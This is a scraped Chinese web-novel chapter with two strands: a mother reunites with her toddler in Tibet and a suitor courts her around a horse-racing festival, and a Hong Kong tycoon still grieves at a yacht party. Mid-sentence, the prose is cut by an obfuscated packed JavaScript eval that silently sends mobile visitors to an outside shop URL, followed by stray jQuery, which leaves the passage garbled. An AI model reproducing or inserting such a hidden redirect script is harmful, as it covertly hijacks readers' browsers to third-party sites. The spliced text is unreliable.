这样剖明心迹、袒露心声的对白,理应在一个平静祥和的午后慢漫诉说。
可世界上大多数事情并不会在你做好准备时发生,慢就是快,快就是慢,而顺其自然正正是刚刚好。
热腾腾的包子逐一端上餐桌,桑杰父母也回来了,周夷看着时间差不多,上楼去看周沫醒了没有。
小家伙躺在床上,一条腿蹬直了,另一条腿缩起来,双手摆成了个一字,浓密的眉毛微微蹙着,眼睛盯着天花板打转,小小年纪,看起来已经有了心事。
房门推开,秀挺的小鼻头耸了耸,寻着香味转过头,葡萄似的眼睛瞬间闪出一道亮光,肉嘟嘟的小嘴兴奋地高喊:“妈妈!”
周夷一手将她抱入怀里,温柔地回应着她。
周沫吮吸久违的味道,奶声奶气地诉说想念:“妈妈,我早上梦到你给我盖被子,我好想你。”
周夷笑着轻抚她小小的背。
“小傻瓜,那不是梦,我昨天晚上就回来了。”
“难怪我觉得被子里有火。”
不到三岁的小孩说起话来让人摸不着头脑。
“被子里怎么会有火呢?”
“妈妈的怀抱像火一样暖暖的。”
类似的童言童语还有很多。
比如说,周沫刚开始学穿鞋的时候,经常穿反,让她左右脚换过来,她就把右腿叠在左腿前,还一本正经问。
——妈妈,这样怎么走路?
又比如说,雪停了,太阳高高挂起,她会说。
——连太阳都不喜欢下雪。
周沫怕冷,所以不喜欢雪天,连冬天的必备项目推雪人、打雪仗都不感兴趣。
她唯一感兴趣的是骑马。
两岁的时候,桑杰带她上了一次马背,她就爱上了这种迎风驰骋的感觉。
用她自己的话来说就是,她已经准备好渔网去兜风了。
吃过早餐,雪还没化,草还没绿,周沫就吵着让桑杰带她去骑马。
“爸爸真坏,妈妈回来了就听不见我说话了。”她生气嘟着嘴,侧过脸,小眼睛时不时静悄悄地往餐桌上瞥。
梅朵夫妻俩很开明,并没有较真她的称呼,反而觉得小娃娃撒娇很有趣,哈哈大笑。
桑杰一早高兴坏了,虽然不是正式在一起,但他做梦也不敢想周夷愿意给他机会,这会儿满脑子想的都是如何表现。
就蒸包子的功夫,他把所有的约会模式都想了个遍,唯独忘了小脸皱成抹布的周沫。
最后还是周夷做了主,等过两天雪化了再骑马。
接下来几个月,周夷没有外出计划,首要任务的剪辑出成片。
他们这个小团队算上她也就只有3个人,两个是职业摄影师,周夷身兼数职,充当导演、策划和剪辑。
她得抓紧时间把现有的素材审阅一遍,他们俩人还没离开拍摄地,如果有需要补拍的镜头也能马上联系操作。
“要不让沫沫在我这儿多住几天,你好专心工作。”
桑杰和她一起收拾周沫房间的衣物、玩具。
“你这段时间辛苦了,我把她带回去,你也能好好休息。”
“我没觉得辛苦。”
桑杰小声嘟囔着,情绪并不高涨。
周夷把最后一件衣服放入行李箱里,笑了笑安慰:“你别紧张,我们像以前一样相处就好,太过刻意,我反而不喜欢。”
桑杰把周夷拉起来摁在床上,自己一手拉过椅子坐在她的对面。
“那你喜欢什么样的?”
周夷抿了抿唇思索。
“我说出来,你就学对吗?”
桑杰耸了耸肩:“没准。”
“不可以!”周夷果断否了他的念头。
“你就做你自己,不然我还了解什么?”
“那我可以抱抱你吗?”
话音刚落,桑杰的胸膛便贴了上来,将询问变成事实,他用仅有两人能听见的音调倾诉。
“昨天晚上,我就想这样做了。”
深夜人静,自己日思夜想的人忽而出现在门外,空气里还飘着雪花,此情此景,理智险些失控。
“松、松点。”周夷咳了两声,“要窒息了。”
“抱歉。”桑杰松了力气,但两人的距离没拉开多少,隐约还能听见对方的呼吸声。
“你说得对,我太紧张了,我怕我把握不住好不容易得来的机会,更怕错过你。”
等待在爱情里,从来不是静止的。
就像不停往气球里充气,它会放大、会膨胀,会极力冲破最后的防线,最后砰的一声巨响,将所有压抑、泛滥的思念全部倾斜出来。
旁人看你站在原地平静如水,只有你自己最清楚,思念的潮水已经将你淹没。
这样的苦楚周夷就算再努力也无法感同身受。
她抬起手,抚上他宽厚的背,“我该怎么做你才能让你好受些?”
桑杰摇摇头,“你什么都不用做,我会一步一步走向你,让你完完全全了解我。”
冬去春来,气温渐渐回暖,藏地的春天要比国内其它地方来得晚些,但景色却是独树一帜的。
暖和一点的地方,桃花悄然挂在枝头,白的、粉的、红的,错落无序地开满了山野,春风一吹,轻盈的花瓣迎风起舞,那场面,别提多美了。
密县每年四月中旬都会在桃花树下举办赛马节。
活动连续举办三天,头一天举办祈福仪式和文艺表演,晚上还有千人锅庄,接着第二天是孩子们比赛拾哈达,最后才是大人们的比赛。
周沫今年不仅长高了,骑术进步了许多,也说要参加比赛。
周夷问了,少年组参加比赛的最小都有六岁,主办方担心她年龄太小,不好操控马匹,要求她用上了年纪的成熟老马,否者不能参赛。
场上的其它参赛选手都是中年马,同样成熟有经验,却比周沫这一匹要敏捷。
主办方明摆着只是想给她过过骑马的瘾,没拿她当回事。
别看周沫软软的,心里憋着一口气,她非要赢下比赛。
主办方牵来她参赛的马,简单熟络后,周沫飒爽地坐上马鞍,策马扬鞭的势头十足。
比赛规则,场上会依次出现三条哈达,率先拿下两条及以上者获胜,如场上有三人各取一条,则进行加时赛。
周沫一鼓作气,连拔头筹,按照比赛规矩,她胜了,可周沫没松懈,仍等待第三条哈达出现。
场上除了周夷和桑杰,所有人都不看好她,偏偏她赢了,还赢得那么干脆利落,让人不得不赞叹。
“果然是我们草原第一骑射带出来的苗子,实力不容小觑啊!”一旁观赛的村民向他们两人投来钦佩的目光。
那人和桑杰父亲是好友,桑杰谦虚地寒暄了两句,回头,周夷也用刮目相看的眼神看他。
她压低了嗓音问:“你真的是草原第一骑射?”
比赛现场热闹喧哗。
桑杰没听见,耳朵凑到她跟前让她再说一遍。
“真的就没人能赢你吗?”周夷问。
“有啊。”桑杰眉眼弯弯擒住她的双眼。
“谁?”周夷脱口而出。
“你啊。”桑杰笑嘻嘻,大声地重复了一遍,“这个草原只有一个人能赢我,那就是你。”
他辽阔宽广的声音盖过了人群的掌声,引来了不少目光。
周夷巴不得上手捂住他的嘴。
“你开什么玩笑,我连马都骑不利索。”
“我说过,我可以教你。”
桑杰深情款款地看向她。
“必定青出于蓝而胜于蓝。”
这话周夷当时只以为是玩笑,所以没往心里去,没想到他还有这层心思。
“怎么样,有兴趣吗?”
他笑起来挂着些许痞气,高山大地滋养了他粗犷魁梧的体格,也给了他柔和细腻的性情,
周夷目光重新回到赛场上,神秘一笑。
“明天看你表现。”
赛马节最后一场是成年男子骑射比赛,桑杰作为村委代表,每年都有参加,每年都能夺得冠军。
桑杰信心满满:“我今晚就给你挑好一匹即温顺又敏锐的马,保准你一下就上手。”
“说得好像你一定能赢一样。”周夷薄唇抿成一线,难掩笑意。
桑杰语气笃定地纠正:“不是好像,是肯定!”
*
四下暮合。
维多利亚港升起一片热闹景象,两岸繁华的城市街景与灯红酒绿相互交替。
一艘豪华邮轮正往公海驶出,像一座移动的宫殿,海面倒影着纸醉金迷。
邮轮上正举办一场单身夜派对,主角是港岛龙域地产的太子爷梅应洲,他订婚的消息在一个月前传遍了整个港岛。
出席这场派对的都是圈内有头有脸的人物,但也不乏纨绔子弟。
几杯酒精
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769655|206565||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下肚,加上高强度冲击听觉的音乐,紧绷的神经被震得四分五裂,有人说起话来没了分寸,醉意上头,语气充满巴结和讽刺的味道。
“还是梅总有眼光,不像某人为了个市井门户,把自己搞得人不像人,鬼不像鬼。”
同一个圈子里的人,大家多多少少都认识。
说话的人是卢氏银行的小儿子,前段时间求爱某当红明星传得沸沸扬扬,可惜人家看不上他这种小鱼,眼光瞄准了帅气多金、有权有势的汇立信掌权人李竞,结果可想而知,勾.引不成,反被打到十八线开外。
小少爷哪儿能让心上人受委屈,这不,灌了几杯傻仔水,连自己是谁都不知道,什么话都敢往外说。
他话里的人说的是谁,众人心知肚明,却不敢搭腔。
见没人反驳他,越说越起劲,完全没有留意到周围安静得诡异。
他一手红酒,一手雪茄,最后不屑了吐了一句“守着个死人,真不是男人”才心满意足。
他得意地转过身,那个人不人、鬼不鬼的就站在他面前,他瞬间酒醒七分,倒吸了一口凉气,整个人像冻成了冰棍,动弹不得,连话也说不利索了。
“李、李总。”
李竞冰蓝色的眼眸慵懒地打量着这个酒囊饭袋,随后给梅应洲递去一个眼神,大步离开,仿佛多看一秒都脏了眼。
小公子以为逃过一劫,暗暗松了口气。
下一秒,梅应洲一句话,直接将他打入地狱。
梅应洲挥了挥手,吩咐助理:“去找几个人服侍卢少,不拘男女,好好让他施展一下雄风。”
话落,两个西装男把人左右架了起来。
那个被称作卢少的二世祖左右挣扎,喉咙发出撕裂的叫声:“不!不!梅总,我错了!您大人有大量饶了我吧。”
西装男把人提到梅应洲跟前,他淡淡一笑,惋惜似的摇摇头,“你得罪谁不好?”
全港岛谁人不知,自从麦理浩径那件事以后,李竞的行事作风变得更加果决狠辣,得罪他,破产都算好的。
他倒好,自己往枪口上撞,能怪谁?
这里是公海,也就遇上他今天主场,李竞还给了他两份薄面,没亲自处理,不然他可能现在就给请下邮轮了。
梅应洲懒得跟他废话,临走前不忘提醒:“对了,顺便通知一下卢总,以后梅氏和汇立信的项目就不劳烦他们了。”
助理:“是。”
此话一出,在场的人都知道,这卢氏银行氏走到头了。
包厢内。
李竞长腿上下交叠坐下沙发中央,他脸上没什么情绪,手里的格兰威特像水一样,眉头不带一丝皱。
除了平时交好的几个兄弟,没人敢主动上前搭话,应该是已经听说了楼下的事,没人想上前触霉头。
他们都清楚,那个在麦理浩径消失的人是话题禁区,谁提谁遭殃。
这些年,李竞外表看起来风光无限,又一次把李家钊送进监狱不说,连李道鸿也险些搭了进去,如今完完全全独揽大权,一时风头无两。
可在无人知晓的角落,他深夜崩溃的情绪只能用酒精浇灌平复,就算被确诊中度抑郁,也没少喝。
他一直没有放弃寻找周夷的下落,可越找心越慌,什么消息都没有,内心坚定的信念不断冲击、动摇,周夷在他的世界里变成了一只薛定谔的猫,他不能也不敢打开这个盒子,生怕里面的结果与想法相悖。
周夷消失一年后,梅应洲看不下去,深夜闯入清水湾别墅推心置腹。
“你再喝下去,就算找到周夷,她看到你这个鬼样子,你觉得她会理你吗?”
当天晚上,李竞难得做了一个梦,一个关于周夷的噩梦。
他梦见周夷挽着另一个男人的手,脸上扬起幸福的笑容,头也不回地转身离去。
也是那时开始,他减少了酒量。
这些年由心理医生费心医治,病情逐步稳定,已经降级为轻度,无需再服用药物。
方才,梅应洲还以为他会情绪爆炸,没想到他控制得很好,想来是已经放下了。
他给自己倒了杯酒,坐到李竞旁边陪他聊了两句,接着有人喊他去玩,作为今晚单身派对的主角,他免不得去应酬一番。
梅应洲刚起身离开,郑子灏就坐了过来。
他兴致勃勃地分享自己刚猎来的新奇事,也没管李竞愿不愿意听。
“竞哥你看,这小女孩像不像你?”